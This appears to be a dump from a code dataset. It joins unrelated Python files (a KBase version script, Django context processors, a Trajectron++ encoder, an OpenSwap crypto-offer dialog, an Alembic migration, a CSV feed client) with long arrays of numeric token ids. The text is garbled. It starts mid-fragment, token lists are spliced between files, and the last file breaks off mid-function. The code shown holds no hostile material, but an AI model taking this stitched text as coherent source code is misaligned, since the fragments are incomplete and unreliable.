table = [nume1,nume2,nume3,nume4,nume5]
tableM = (float((nume1 + nume2 + nume3 + nume4 + nume5)))
print(float(tableM)) | [
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29945,
4961,
13,
2158,
29898,
7411,
29898,
2371,
29924,
876,
2
] |
src/biokbase/narrative/__init__.py | pranjan77/narrative | 0 | 138662 | <filename>src/biokbase/narrative/__init__.py
__all__ = ['magics', 'common', 'handlers', 'contents', 'services', 'widgetmanager']
from semantic_version import Version
__version__ = Version("4.2.1")
version = lambda: __version__
# if run directly:
# no args = print current version
# 1 arg = self-modify version to arg value
if __name__ == '__main__':
import os, sys
if len(sys.argv) == 1:
print(version())
elif len(sys.argv) == 2:
ver = sys.argv[1]
try:
Version(ver)
except:
print("Invalid version: {}".format(ver))
sys.exit(1)
oldver = '"' + str(version()) + '"'
newver = '"' + ver + '"'
myfile = os.path.abspath(sys.argv[0])
oldself = open(myfile).read()
newself = oldself.replace(oldver, newver)
open(myfile, 'w').write(newself)
sys.exit(0)
| [
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home/processors.py | saqlainrasheed/iogt | 20 | 105448 | <reponame>saqlainrasheed/iogt<filename>home/processors.py
from django.conf import settings
def show_welcome_banner(request):
return {
"first_time_user": request.session.get("first_time_user", True)
}
def commit_hash(request):
return {'commit_hash': settings.COMMIT_HASH}
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trajectron_plus_plus/model/mgcvae/encoding/edge_state_encoding.py | rozzong/trajectron-plus-plus | 0 | 168779 | from abc import ABC, abstractmethod
from typing import Callable, Union
import torch
from torch import nn
from .utils import run_lstm_on_variable_length_seqs
# TODO: Specify types in signatures
class EdgeStateEncoder(nn.Module, ABC):
def __init__(
self,
edge_type,
input_size: int,
output_size: int,
p: float,
use_dynamic_edges: bool,
*args,
**kwargs,
):
super().__init__()
self.edge_type = edge_type
self.input_size = input_size
self.output_size = output_size
self.p = p
self.use_dynamic_edges = use_dynamic_edges
self._build(*args, **kwargs)
@abstractmethod
def _build_combiner(self, *args, **kwargs) -> int:
"""Build the combiner.
Returns
-------
int
The size of the output of the combiner.
"""
pass
def _build(self, *args, **kwargs):
self.combiner_output_size = self._build_combiner(*args, **kwargs)
self.lstm = nn.LSTM(
input_size=self.combiner_output_size,
hidden_size=self.output_size,
batch_first=True
)
self.dropout = nn.Dropout(self.p)
@abstractmethod
def combine(self, edge_states_list, neighbors_edge_value):
pass
def forward(
self,
node_history_st,
neighbors,
neighbors_edge_value,
first_history_indices,
states
):
edge_states_list = [] # [Number of neighbors, max_ht, state_dim]
for i, neighbor_states in enumerate(neighbors):
if len(neighbor_states):
edge_states_list.append(
torch.stack(neighbor_states, dim=0))
else:
len_neighbor_state = sum(
[len(axes) for axes in states[self.edge_type[1]].values()]
)
edge_states_list.append(
torch.zeros(
(1, node_history_st.shape[1], len_neighbor_state),
device=node_history_st.device
)
)
combined_neighbors, combined_edge_masks = self.combine(
edge_states_list,
neighbors_edge_value
)
joint_history = torch.cat(
[combined_neighbors, node_history_st],
dim=-1
)
outputs, _ = run_lstm_on_variable_length_seqs(
self.lstm,
original_seqs=joint_history,
lower_indices=first_history_indices
)
outputs = self.dropout(outputs)
last_index_per_sequence = -(first_history_indices + 1)
ret = outputs[
torch.arange(len(last_index_per_sequence)),
last_index_per_sequence
]
if self.use_dynamic_edges:
ret *= combined_edge_masks
return ret
class ReducingEdgeStateEncoder(EdgeStateEncoder):
def __init__(
self,
edge_type,
input_size: int,
output_size: int,
p: float,
use_dynamic_edges: bool,
reduce: Union[Callable, str],
):
super().__init__(
edge_type,
input_size,
output_size,
p,
use_dynamic_edges,
reduce
)
def _build_combiner(self, reduce) -> int:
if isinstance(reduce, str):
reduce = getattr(torch, reduce)
self.reduce = reduce
return self.input_size
def combine(self, edge_states_list, neighbors_edge_value):
op_applied_edge_states_list = []
for neighbors_state in edge_states_list:
op_applied_edge_states_list.append(
self.reduce(neighbors_state, dim=0)
)
combined_neighbors = torch.stack(op_applied_edge_states_list, dim=0)
combined_edge_masks = None
if self.use_dynamic_edges:
# Should now be (bs, time, 1)
op_applied_edge_mask_list = []
for edge_value in neighbors_edge_value:
op_applied_edge_mask_list.append(
torch.clamp(
self.reduce(edge_value, dim=0, keepdim=True),
max=1
)
)
combined_edge_masks = torch.stack(op_applied_edge_mask_list, dim=0)
return combined_neighbors, combined_edge_masks
class PointNetEdgeStateEncoder(EdgeStateEncoder):
def __init__(
self,
edge_type,
input_size: int,
output_size: int,
p: float,
use_dynamic_edges: bool,
):
super().__init__(
edge_type,
input_size,
output_size,
p,
use_dynamic_edges,
)
raise NotImplementedError
def _build_combiner(self) -> int:
return 0
def combine(self, edge_states_list, neighbors_edge_value):
pass
class AttentionEdgeStateEncoder(EdgeStateEncoder):
def __init__(
self,
edge_type,
input_size: int,
output_size: int,
p: float,
use_dynamic_edges: bool,
):
super().__init__(
edge_type,
input_size,
output_size,
p,
use_dynamic_edges,
)
raise NotImplementedError
def _build_combiner(self) -> int:
return 0
def combine(self, edge_states_list, neighbors_edge_value):
pass
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] |
gui/qt/openswap_public.py | ComputerCraftr/openswap | 16 | 109757 | """
OpenSwap main public messaging
"""
import time
from html import escape
try:
# python 3.6 +
from secrets import token_bytes
except ImportError:
from os import urandom as token_bytes
from electroncash.i18n import _
from electroncash.address import Address
import electroncash.web as web
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
from .util import *
from .qrtextedit import ShowQRTextEdit
from electroncash import bchmessage
from electroncash import openswap
from electroncash.util import print_error, print_stderr
from .openswap_offerinfo import OfferInfoDialog
from electroncash.util import format_satoshis_plain_nofloat, get_satoshis_nofloat
from electroncash.openswap import cryptos, crypto_list_by_bytes, crypto_list_by_str
from .openswap_priceinfo import PriceInfoBox
dialogs = [] # Otherwise python randomly garbage collects the dialogs...
def prompt_dialog(main_window, c1, c2, pmw=None):
# Make a selector dialog then use it to start up the public channel
#
tb1 = crypto_list_by_bytes[c1]
tb2 = crypto_list_by_bytes[c2]
if tb1 > tb2:
# make sure they are ordered properly
c1, c2, tb1, tb2 = c2, c1, tb2, tb1
channame = "OpenSwap Offers %s %s"%(tb1.hex(), tb2.hex())
channel = bchmessage.Channel.from_name(channame)
network = main_window.network
cmw = bchmessage.ChanMessageWatcher(network, channel)
show_dialog(main_window, cmw, c1, c2, pmw=pmw)
def show_dialog(*args, **kwargs):
d = OpenSwapPublicDialog(*args, **kwargs)
dialogs.append(d)
d.show()
TX_ICONS = [
"warning.png",
"warning.png",
"unconfirmed.png",
"unconfirmed.png",
"clock1.png",
"clock2.png",
"clock3.png",
"clock4.png",
"clock5.png",
"confirmed.png",
]
class OpenSwapPublicDialog(QDialog, MessageBoxMixin):
gotDecryptSig = pyqtSignal(str)
def __init__(self, main_window, cmw, c1, c2, pmw=None):
# cmw - ChanMessageWatcher
# c1, c2 - indices of cryptos 1 and 2
# pmw - optional PrivMessageWatcher to write messages (if None, just view)
# top level window
QDialog.__init__(self, parent=None)
self.cmw = cmw
self.c1 = c1
self.c2 = c2
self.pmw = pmw
self.address = self.cmw.address
self.channel = self.cmw.channel
self.wallet = cmw.wallet
self.main_window = main_window
self.config = main_window.config
self.app = main_window.app
self.n1 = crypto_list_by_str[self.c1]
self.n2 = crypto_list_by_str[self.c2]
self.b1 = crypto_list_by_bytes[self.c1]
self.b2 = crypto_list_by_bytes[self.c2]
self.setWindowTitle(_("OpenSwap advertisements") + " %s \u2014 %s"%(self.n1, self.n2))
self.setMinimumWidth(700)
vbox = QVBoxLayout()
self.setLayout(vbox)
try:
vbox.addWidget(QLabel(_("Channel name") + ': ' + repr(self.channel.name)))
except:
pass
vbox.addWidget(QLabel(_("Key") + ': ' + self.channel.chankey.hex()))
l = QLabel(_("Address") + ': ' + self.address.to_ui_string())
vbox.addWidget(l)
l.setTextInteractionFlags(Qt.TextSelectableByMouse)
vbox.addWidget(QLabel(_("History")))
self.hw = MyHistoryList(self)
vbox.addWidget(self.hw)
hbox = QHBoxLayout()
#b = QPushButton(_("Write"))
#b.clicked.connect(lambda: self.write_message())
#hbox.addWidget(b)
b = QPushButton(_("Offer") + " " + self.n1)
b.clicked.connect(lambda: self.make_public_offer(self.c2, self.c1))
if not self.pmw:
b.setDisabled(True)
hbox.addWidget(b)
b = QPushButton(_("Offer") + " " + self.n2)
b.clicked.connect(lambda: self.make_public_offer(self.c1, self.c2))
if not self.pmw:
b.setDisabled(True)
hbox.addWidget(b)
hbox.addStretch(1)
hbox.addWidget(CloseButton(self))
vbox.addLayout(hbox)
self.show()
self.gotDecryptSig.connect(self.hw.got_decrypted)
def on_success(result):
self.network = cmw.network
cmw.callbacks_decrypted.append(self.gotDecryptSig.emit)
self.hw.update()
d = WaitingDialog(self, _('Opening...'), cmw.start,
on_success, None)
def closeEvent(self, event):
event.accept()
try:
dialogs.remove(self)
except ValueError:
pass
self.cmw.stop()
def reject(self,):
self.close()
def get_domain(self):
return [self.address]
def broadcast_tx(self, tx):
def callback(response):
err = response.get('error')
if err:
try:
print_stderr("Transaction broadcast error", err['code'], err['message'])
except:
print_stderr("Transaction broadcast error:", err)
else:
print_error("Transaction broadcast result:", response) # --verbose only
try:
self.network.broadcast_transaction(tx.serialize(), callback=callback)
return True
except Exception as e:
self.show_error("Error: %s"%(str(e)))
return False
def make_public_offer(self, c1, c2):
d = QDialog(self)
d.setWindowTitle(_("Make Public Offer"))
wallet = self.pmw.wallet
key = self.pmw.key
mypubkey = key.pubkey
layout = QVBoxLayout()
d.setLayout(layout)
pi = PriceInfoBox(self, True)
pi.want_crypto_cb.setCurrentIndex(c1)
pi.want_crypto_cb.setDisabled(True)
pi.give_crypto_cb.setCurrentIndex(c2)
pi.give_crypto_cb.setDisabled(True)
layout.addWidget(pi)
hbox = QHBoxLayout()
layout.addLayout(hbox)
hbox.addStretch(1)
b = QPushButton(_("Cancel"))
b.clicked.connect(d.reject)
hbox.addWidget(b)
b = QPushButton(_("Send"))
b.clicked.connect(d.accept)
hbox.addWidget(b)
d.setWindowModality(Qt.WindowModal)
if not d.exec_():
return
try:
amtw = get_satoshis_nofloat(pi.want_amount_e.text())
amtg = get_satoshis_nofloat(pi.give_amount_e.text())
except Exception as e:
self.show_error(_("Cannot parse amount:") + str(e))
if c1 == self.c1 and c2 == self.c2:
msgbytes = b'\x00\x00' + amtw.to_bytes(8,'big') + amtg.to_bytes(8,'big')
elif c1 == self.c2 and c2 == self.c1:
msgbytes = b'\x00\x01' + amtg.to_bytes(8,'big') + amtw.to_bytes(8,'big')
data = self.channel.auth_encrypt(msgbytes, mypubkey)
try:
tx = key.create_message(wallet, self.channel.address, data, self.config)
self.broadcast_tx(tx)
except bchmessage.NotEnoughFunds:
self.show_error("Not enough funds on this address.")
def make_private_offer(self, dest_pubkey, order_12, amtw, amtg):
# Used for start of negotiation
wallet = self.pmw.wallet
key = self.pmw.key
now = int(time.time())
offer = openswap.OfferInfo(
salt = token_bytes(8),
want_rtime = now + 10*3600,
give_rtime = now + 5*3600,
want_amount = amtg,
want_ticker = self.b1 if order_12 else self.b2,
give_amount = amtw,
give_ticker = self.b2 if order_12 else self.b1,
)
d = OfferInfoDialog(self, offer, dest_pubkey, mode='create')
res = d.exec_()
if res:
try:
offerinfo = d.get_offerinfo()
pak = openswap.PacketOffer.make(key.privkey, dest_pubkey, offerinfo)
offermsg = openswap.OpenSwapMessage([pak], autopad=204)
messagebytes = offermsg.to_bytes()
data = key.encrypt_private_message(messagebytes, dest_pubkey)
tx = key.create_message(wallet, Address.from_pubkey(dest_pubkey), data, self.config)
self.broadcast_tx(tx)
except bchmessage.NotEnoughFunds:
self.show_error("Not enough funds on this address.")
except Exception as e:
import traceback
traceback.print_exc()
self.show_error(str(e))
class MyHistoryList(MyTreeWidget):
# filter_columns = [2, 3, 4] # Date, Description, Amount
def __init__(self, parent):
MyTreeWidget.__init__(self, parent, self.create_menu,
['', _('Date'), _('From'), _('Data') ],
3, [])
self.setSortingEnabled(True)
self.sortByColumn(0, Qt.AscendingOrder)
self.monospaceFont = QFont(MONOSPACE_FONT)
self.statusIcons = {}
self.wallet = parent.wallet
self.incoming_offers = {} # saved incoming offer packets
def got_decrypted(self, tx_hash):
self.update()
def on_update(self):
item = self.currentItem()
current_tx = item.data(0, Qt.UserRole) if item else None
self.clear()
cmw = self.parent.cmw
wallet = self.wallet
chanaddress = cmw.address
pmw = self.parent.pmw
if pmw:
mypubkey = pmw.key.pubkey
else:
mypubkey = None
# internal function to be called within loop below
def putitem(i, datastr):
item = SortableTreeWidgetItem([
'',
status_str,
'me' if from_me else from_pubkey[-3:].hex(),
datastr,
])
if status not in self.statusIcons:
self.statusIcons[status] = QIcon(":icons/" + TX_ICONS[status])
icon = self.statusIcons[status]
item.setIcon(0, icon)
item.setData(0, SortableTreeWidgetItem.DataRole, (status, conf))
item.setToolTip(0, str(conf) + " confirmation" + ("s" if conf != 1 else ""))
item.setData(0, Qt.UserRole, tx_hash)
item.setData(2, Qt.UserRole, from_pubkey)
item.setToolTip(3, '<p>%s</p>'%(escape(datastr),))
self.insertTopLevelItem(0, item)
if current_tx == tx_hash:
self.setCurrentItem(item)
return item
for tx_hash, height in wallet.get_address_history(chanaddress):
info = cmw.messageinfo.get(tx_hash)
if not info:
continue
height, conf, timestamp = wallet.get_tx_height(tx_hash)
status, status_str = wallet.get_tx_status(tx_hash, height, conf, timestamp)
from_pubkey = info['src']
from_me = (from_pubkey == mypubkey)
if info['status'] == 'processing':
# tx needs to be verified
putitem(0, 'verifying')
continue
messagebytes = info.get('message')
if messagebytes is None:
putitem(0, '?')
continue
try:
tag = messagebytes[:2]
assert len(messagebytes) == 18
if tag == b'\0\0':
amtw = int.from_bytes(messagebytes[2:10], 'big')
amtg = int.from_bytes(messagebytes[10:18], 'big')
nw = self.parent.n1
ng = self.parent.n2
data = (False, amtw, amtg)
elif tag == b'\0\1':
amtg = int.from_bytes(messagebytes[2:10], 'big')
amtw = int.from_bytes(messagebytes[10:18], 'big')
ng = self.parent.n1
nw = self.parent.n2
data = (True, amtw, amtg)
item = putitem(0, 'Wants %s %s for %s %s'%(format_satoshis_plain_nofloat(amtw), nw,
format_satoshis_plain_nofloat(amtg), ng,
))
item.setData(3, Qt.UserRole, data)
except:
item = putitem(0, 'raw:' + messagebytes.hex())
def on_doubleclick(self, item, column):
if self.permit_edit(item, column):
super().on_doubleclick(item, column)
else:
tx_hash = item.data(0, Qt.UserRole)
tx = self.wallet.transactions.get(tx_hash)
self.parent.main_window.show_transaction(tx)
def create_menu(self, position):
self.selectedIndexes()
item = self.currentItem()
if not item:
return
tx_hash = item.data(0, Qt.UserRole)
if not tx_hash:
return
pmw = self.parent.pmw
if pmw:
mypubkey = pmw.key.pubkey
else:
mypubkey = None
from_pubkey = item.data(2, Qt.UserRole)
from_me = (from_pubkey == mypubkey)
oinfo = item.data(3, Qt.UserRole)
column = self.currentColumn()
if column == 0:
column_title = "ID"
column_data = tx_hash
elif column == 2:
column_title = _("sender pubkey")
column_data = from_pubkey.hex()
else:
column_title = self.headerItem().text(column)
column_data = item.text(column)
menu = QMenu()
if not (from_me or oinfo is None):
menu.addAction(_("Negotiate"), lambda: self.parent.make_private_offer(from_pubkey, *oinfo))
menu.addAction(_("Copy {}").format(column_title), lambda: self.parent.app.clipboard().setText(column_data))
def showtx():
tx = self.wallet.transactions.get(tx_hash)
self.parent.main_window.show_transaction(tx)
menu.addAction(_("View Tx"), showtx)
menu.exec_(self.viewport().mapToGlobal(position))
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12719,
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5150,
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3977,
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5467,
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13,
13,
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1018,
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13,
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25568,
353,
1820,
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13,
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373,
445,
3211,
23157,
13,
13,
1678,
822,
1207,
29918,
9053,
29918,
974,
571,
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1311,
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2731,
29918,
5467,
1989,
29892,
1797,
29918,
29896,
29906,
29892,
626,
7516,
29892,
626,
29873,
29887,
1125,
13,
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396,
501,
8485,
363,
1369,
310,
3480,
327,
11685,
13,
4706,
17042,
1026,
353,
1583,
29889,
3358,
29893,
29889,
14625,
1026,
13,
4706,
1820,
353,
1583,
29889,
3358,
29893,
29889,
1989,
13,
13,
4706,
1286,
353,
938,
29898,
2230,
29889,
2230,
3101,
13,
4706,
5957,
353,
13246,
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481,
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2776,
571,
3401,
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13,
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15795,
353,
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13,
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353,
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29900,
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13,
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353,
1286,
718,
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29900,
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13,
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13,
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864,
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353,
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565,
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353,
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13,
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13,
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270,
353,
4587,
571,
3401,
7647,
29898,
1311,
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29892,
2731,
29918,
5467,
1989,
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4464,
2433,
3258,
1495,
13,
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620,
353,
270,
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4258,
29918,
580,
13,
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565,
620,
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13,
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1018,
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13,
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3888,
353,
270,
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657,
29918,
974,
571,
3888,
580,
13,
18884,
27068,
353,
13246,
29893,
481,
29889,
16638,
300,
2776,
571,
29889,
5675,
29898,
1989,
29889,
22534,
1989,
29892,
2731,
29918,
5467,
1989,
29892,
5957,
3888,
29897,
13,
18884,
5957,
7645,
353,
13246,
29893,
481,
29889,
6585,
10840,
481,
3728,
4197,
29886,
557,
1402,
1120,
459,
328,
29922,
29906,
29900,
29946,
29897,
13,
18884,
2643,
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353,
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517,
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580,
13,
13,
18884,
848,
353,
1820,
29889,
3977,
4641,
29918,
9053,
29918,
4906,
29898,
4906,
13193,
29892,
2731,
29918,
5467,
1989,
29897,
13,
18884,
25568,
353,
1820,
29889,
3258,
29918,
4906,
29898,
14625,
1026,
29892,
16428,
29889,
3166,
29918,
5467,
1989,
29898,
7854,
29918,
5467,
1989,
511,
848,
29892,
1583,
29889,
2917,
29897,
13,
18884,
1583,
29889,
6729,
328,
4384,
29918,
7508,
29898,
7508,
29897,
13,
9651,
5174,
289,
305,
4906,
29889,
3664,
2369,
820,
29943,
870,
29879,
29901,
13,
18884,
1583,
29889,
4294,
29918,
2704,
703,
3664,
3307,
29199,
373,
445,
3211,
23157,
13,
9651,
5174,
8960,
408,
321,
29901,
13,
18884,
1053,
9637,
1627,
13,
18884,
9637,
1627,
29889,
2158,
29918,
735,
29883,
580,
13,
18884,
1583,
29889,
4294,
29918,
2704,
29898,
710,
29898,
29872,
876,
13,
13,
1990,
1619,
20570,
1293,
29898,
3421,
9643,
8801,
1125,
13,
29937,
1678,
4175,
29918,
13099,
353,
518,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29962,
29871,
396,
4712,
29892,
12953,
29892,
1913,
792,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3847,
1125,
13,
4706,
1619,
9643,
8801,
17255,
2344,
12035,
1311,
29892,
3847,
29892,
1583,
29889,
3258,
29918,
6510,
29892,
13,
462,
795,
6024,
742,
903,
877,
2539,
5477,
903,
877,
4591,
5477,
903,
877,
1469,
1495,
21251,
13,
462,
1669,
29941,
29892,
518,
2314,
13,
4706,
1583,
29889,
842,
13685,
292,
10861,
29898,
5574,
29897,
13,
4706,
1583,
29889,
6605,
2059,
4409,
29898,
29900,
29892,
14705,
29889,
29909,
1557,
2548,
7514,
29897,
13,
13,
4706,
1583,
29889,
3712,
359,
3535,
9824,
353,
660,
9824,
29898,
22877,
3267,
29925,
11538,
29918,
29943,
1164,
29911,
29897,
13,
4706,
1583,
29889,
4882,
29902,
3200,
353,
6571,
13,
4706,
1583,
29889,
14625,
1026,
353,
3847,
29889,
14625,
1026,
13,
4706,
1583,
29889,
262,
11506,
29918,
2696,
414,
353,
6571,
29871,
396,
7160,
23235,
5957,
23912,
13,
13,
1678,
822,
2355,
29918,
7099,
14740,
29898,
1311,
29892,
25568,
29918,
8568,
1125,
13,
4706,
1583,
29889,
5504,
580,
13,
13,
1678,
822,
373,
29918,
5504,
29898,
1311,
1125,
13,
4706,
2944,
353,
1583,
29889,
3784,
2001,
580,
13,
4706,
1857,
29918,
7508,
353,
2944,
29889,
1272,
29898,
29900,
29892,
14705,
29889,
2659,
16727,
29897,
565,
2944,
1683,
6213,
13,
4706,
1583,
29889,
8551,
580,
13,
13,
4706,
7477,
29893,
353,
1583,
29889,
3560,
29889,
4912,
29893,
13,
4706,
17042,
1026,
353,
1583,
29889,
14625,
1026,
13,
4706,
521,
273,
7328,
353,
7477,
29893,
29889,
7328,
13,
4706,
26354,
29893,
353,
1583,
29889,
3560,
29889,
3358,
29893,
13,
4706,
565,
26354,
29893,
29901,
13,
9651,
590,
5467,
1989,
353,
26354,
29893,
29889,
1989,
29889,
5467,
1989,
13,
4706,
1683,
29901,
13,
9651,
590,
5467,
1989,
353,
6213,
13,
13,
4706,
396,
7463,
740,
304,
367,
2000,
2629,
2425,
2400,
13,
4706,
822,
1925,
667,
29898,
29875,
29892,
6155,
509,
1125,
13,
9651,
2944,
353,
20025,
519,
9643,
8801,
2001,
4197,
13,
18884,
15516,
13,
18884,
4660,
29918,
710,
29892,
13,
18884,
525,
1004,
29915,
565,
515,
29918,
1004,
1683,
515,
29918,
5467,
1989,
14352,
29941,
29901,
1822,
20970,
3285,
13,
18884,
6155,
509,
29892,
13,
462,
2314,
13,
13,
9651,
565,
4660,
451,
297,
1583,
29889,
4882,
29902,
3200,
29901,
13,
18884,
1583,
29889,
4882,
29902,
3200,
29961,
4882,
29962,
353,
660,
12492,
703,
29901,
27078,
12975,
718,
323,
29990,
29918,
2965,
1164,
29903,
29961,
4882,
2314,
13,
9651,
9849,
353,
1583,
29889,
4882,
29902,
3200,
29961,
4882,
29962,
13,
9651,
2944,
29889,
842,
12492,
29898,
29900,
29892,
9849,
29897,
13,
9651,
2944,
29889,
842,
1469,
29898,
29900,
29892,
20025,
519,
9643,
8801,
2001,
29889,
1469,
16727,
29892,
313,
4882,
29892,
1970,
876,
13,
9651,
2944,
29889,
842,
12229,
29911,
666,
29898,
29900,
29892,
851,
29898,
5527,
29897,
718,
376,
9659,
362,
29908,
718,
4852,
29879,
29908,
565,
1970,
2804,
29871,
29896,
1683,
5124,
876,
13,
13,
9651,
2944,
29889,
842,
1469,
29898,
29900,
29892,
14705,
29889,
2659,
16727,
29892,
25568,
29918,
8568,
29897,
13,
9651,
2944,
29889,
842,
1469,
29898,
29906,
29892,
14705,
29889,
2659,
16727,
29892,
515,
29918,
5467,
1989,
29897,
13,
9651,
2944,
29889,
842,
12229,
29911,
666,
29898,
29941,
29892,
12801,
29886,
29958,
29995,
29879,
829,
29886,
16299,
29995,
29898,
21587,
29898,
4130,
7614,
511,
876,
13,
9651,
1583,
29889,
7851,
7031,
10108,
2001,
29898,
29900,
29892,
2944,
29897,
13,
9651,
565,
1857,
29918,
7508,
1275,
25568,
29918,
8568,
29901,
13,
18884,
1583,
29889,
842,
7583,
2001,
29898,
667,
29897,
13,
9651,
736,
2944,
13,
13,
4706,
363,
25568,
29918,
8568,
29892,
3171,
297,
17042,
1026,
29889,
657,
29918,
7328,
29918,
18434,
29898,
5083,
7328,
1125,
13,
9651,
5235,
353,
7477,
29893,
29889,
4906,
3888,
29889,
657,
29898,
7508,
29918,
8568,
29897,
13,
9651,
565,
451,
5235,
29901,
13,
18884,
6773,
13,
9651,
3171,
29892,
1970,
29892,
14334,
353,
17042,
1026,
29889,
657,
29918,
7508,
29918,
3545,
29898,
7508,
29918,
8568,
29897,
13,
9651,
4660,
29892,
4660,
29918,
710,
353,
17042,
1026,
29889,
657,
29918,
7508,
29918,
4882,
29898,
7508,
29918,
8568,
29892,
3171,
29892,
1970,
29892,
14334,
29897,
13,
13,
9651,
515,
29918,
5467,
1989,
353,
5235,
1839,
4351,
2033,
13,
9651,
515,
29918,
1004,
353,
313,
3166,
29918,
5467,
1989,
1275,
590,
5467,
1989,
29897,
13,
13,
9651,
565,
5235,
1839,
4882,
2033,
1275,
525,
19170,
2396,
13,
18884,
396,
25568,
4225,
304,
367,
26834,
13,
18884,
1925,
667,
29898,
29900,
29892,
525,
369,
9215,
1495,
13,
18884,
6773,
13,
13,
9651,
2643,
13193,
353,
5235,
29889,
657,
877,
4906,
1495,
13,
13,
9651,
565,
2643,
13193,
338,
6213,
29901,
13,
18884,
1925,
667,
29898,
29900,
29892,
525,
29973,
1495,
13,
18884,
6773,
13,
13,
9651,
1018,
29901,
13,
18884,
4055,
353,
2643,
13193,
7503,
29906,
29962,
13,
18884,
4974,
7431,
29898,
4906,
13193,
29897,
1275,
29871,
29896,
29947,
13,
18884,
565,
4055,
1275,
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test1/views/models/axfundaddress.py | biz2013/xwjy | 1 | 39731 | class AXFundAddress(object):
def __init__(self, address, alias):
self.address = address
self.alias = alias
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backend/model/migrate/versions/4dbaa3104f4_.py | deti/boss | 7 | 15818 | """Added tariff
Revision ID: 4dbaa3104f4
Revises: <PASSWORD>
Create Date: 2015-05-27 16:00:09.343862
"""
# revision identifiers, used by Alembic.
revision = '<KEY>'
down_revision = '<PASSWORD>'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade(engine_name):
globals()["upgrade_%s" % engine_name]()
def downgrade(engine_name):
globals()["downgrade_%s" % engine_name]()
def upgrade_account():
### commands auto generated by Alembic - please adjust! ###
op.create_table('tariff',
sa.Column('tariff_id', sa.Integer(), nullable=False),
sa.Column('description', sa.Text(), nullable=True),
sa.Column('currency', sa.String(length=3), nullable=True),
sa.Column('parent_id', sa.Integer(), nullable=True),
sa.Column('deleted', sa.DateTime(), nullable=True),
sa.Column('created', sa.DateTime(), nullable=True),
sa.Column('modified', sa.DateTime(), nullable=True),
sa.Column('mutable', sa.Boolean(), nullable=True),
sa.ForeignKeyConstraint(['parent_id'], ['tariff.tariff_id'], ),
sa.PrimaryKeyConstraint('tariff_id')
)
op.create_table('service_price',
sa.Column('service_id', sa.String(length=32), nullable=False),
sa.Column('price', sa.DECIMAL(precision=20, scale=6), nullable=True),
sa.Column('tariff_id', sa.Integer(), nullable=False),
sa.ForeignKeyConstraint(['tariff_id'], ['tariff.tariff_id'], ),
sa.PrimaryKeyConstraint('service_id', 'tariff_id')
)
op.create_table('tariff_history',
sa.Column('history_id', sa.Integer(), nullable=False),
sa.Column('event', sa.String(length=8), nullable=True),
sa.Column('user_id', sa.Integer(), nullable=True),
sa.Column('tariff_id', sa.Integer(), nullable=True),
sa.Column('customer_id', sa.Integer(), nullable=True),
sa.Column('date', sa.DateTime(), nullable=True),
sa.Column('snapshot', sa.Text(), nullable=True),
sa.ForeignKeyConstraint(['customer_id'], ['customer.customer_id'], ),
sa.ForeignKeyConstraint(['tariff_id'], ['tariff.tariff_id'], ),
sa.ForeignKeyConstraint(['user_id'], ['user.user_id'], ),
sa.PrimaryKeyConstraint('history_id')
)
op.create_table('tariff_localization',
sa.Column('language', sa.String(length=2), nullable=False),
sa.Column('parent_id', sa.Integer(), nullable=False),
sa.Column('localized_name', sa.String(length=254), nullable=True),
sa.ForeignKeyConstraint(['parent_id'], ['tariff.tariff_id'], ),
sa.PrimaryKeyConstraint('language', 'parent_id'),
sa.UniqueConstraint('localized_name', 'language', name='uix_tariff_localization')
)
### end Alembic commands ###
def downgrade_account():
### commands auto generated by Alembic - please adjust! ###
op.drop_table('tariff_localization')
op.drop_table('tariff_history')
op.drop_table('service_price')
op.drop_table('tariff')
### end Alembic commands ###
def upgrade_fitter():
pass
def downgrade_fitter():
pass
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] |
Integrations/FeedCSV/FeedCSV.py | mvpe/content | 0 | 1604847 | import demistomock as demisto
from CommonServerPython import *
from CommonServerUserPython import *
''' IMPORTS '''
import urllib3
import csv
# disable insecure warnings
urllib3.disable_warnings()
SOURCE_NAME = 'CSV Feed Integration'
class Client(BaseClient):
def __init__(self, url: str, fieldnames: str, insecure: bool = False, credentials: dict = None,
ignore_regex: str = None, delimiter: str = ',', doublequote: bool = True, escapechar: str = '',
quotechar: str = '"', skipinitialspace: bool = False, polling_timeout: int = 20, proxy: bool = False,
**kwargs):
"""
:param url: URL of the feed.
:param fieldnames: list of field names in the file. If *null* the values in the first row of the file are
used as names. Default: *null*
:param insecure: boolean, if *false* feed HTTPS server certificate is verified. Default: *false*
:param credentials: username and password used for basic authentication
:param ignore_regex: python regular expression for lines that should be ignored. Default: *null*
:param delimiter: see `csv Python module
<https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default: ,
:param doublequote: see `csv Python module
<https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default: true
:param escapechar: see `csv Python module
<https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default null
:param quotechar: see `csv Python module
<https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default "
:param skipinitialspace: see `csv Python module
<https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default False
:param polling_timeout: timeout of the polling request in seconds. Default: 20
:param proxy: Sets whether use proxy when sending requests
:param kwargs:
"""
if not credentials:
credentials = {}
username = credentials.get('identifier', None)
password = credentials.get('password', None)
auth = None
if username is not None and password is not None:
auth = (username, password)
super().__init__(base_url=url, proxy=proxy, verify=not insecure, auth=auth)
try:
self.polling_timeout = int(polling_timeout)
except (ValueError, TypeError):
return_error('"Request Timeout" value must be an integer value. ')
self.ignore_regex = ignore_regex
if self.ignore_regex is not None:
self.ignore_regex = re.compile(self.ignore_regex) # type: ignore
self.fieldnames = argToList(fieldnames)
self.dialect = {
'delimiter': delimiter,
'doublequote': doublequote,
'escapechar': escapechar,
'quotechar': quotechar,
'skipinitialspace': skipinitialspace
}
def _build_request(self):
r = requests.Request(
'GET',
self._base_url,
auth=self._auth
)
return r.prepare()
def build_iterator(self):
_session = requests.Session()
prepreq = self._build_request()
# this is to honour the proxy environment variables
rkwargs = _session.merge_environment_settings(
prepreq.url,
{}, None, None, None # defaults
)
rkwargs['stream'] = True
rkwargs['verify'] = self._verify
rkwargs['timeout'] = self.polling_timeout
try:
r = _session.send(prepreq, **rkwargs)
except requests.ConnectionError:
raise requests.ConnectionError('Failed to establish a new connection. Verify that the URL is valid.')
try:
r.raise_for_status()
except Exception:
return_error('{} - exception in request: {} {}'.format(SOURCE_NAME, r.status_code, r.content))
raise
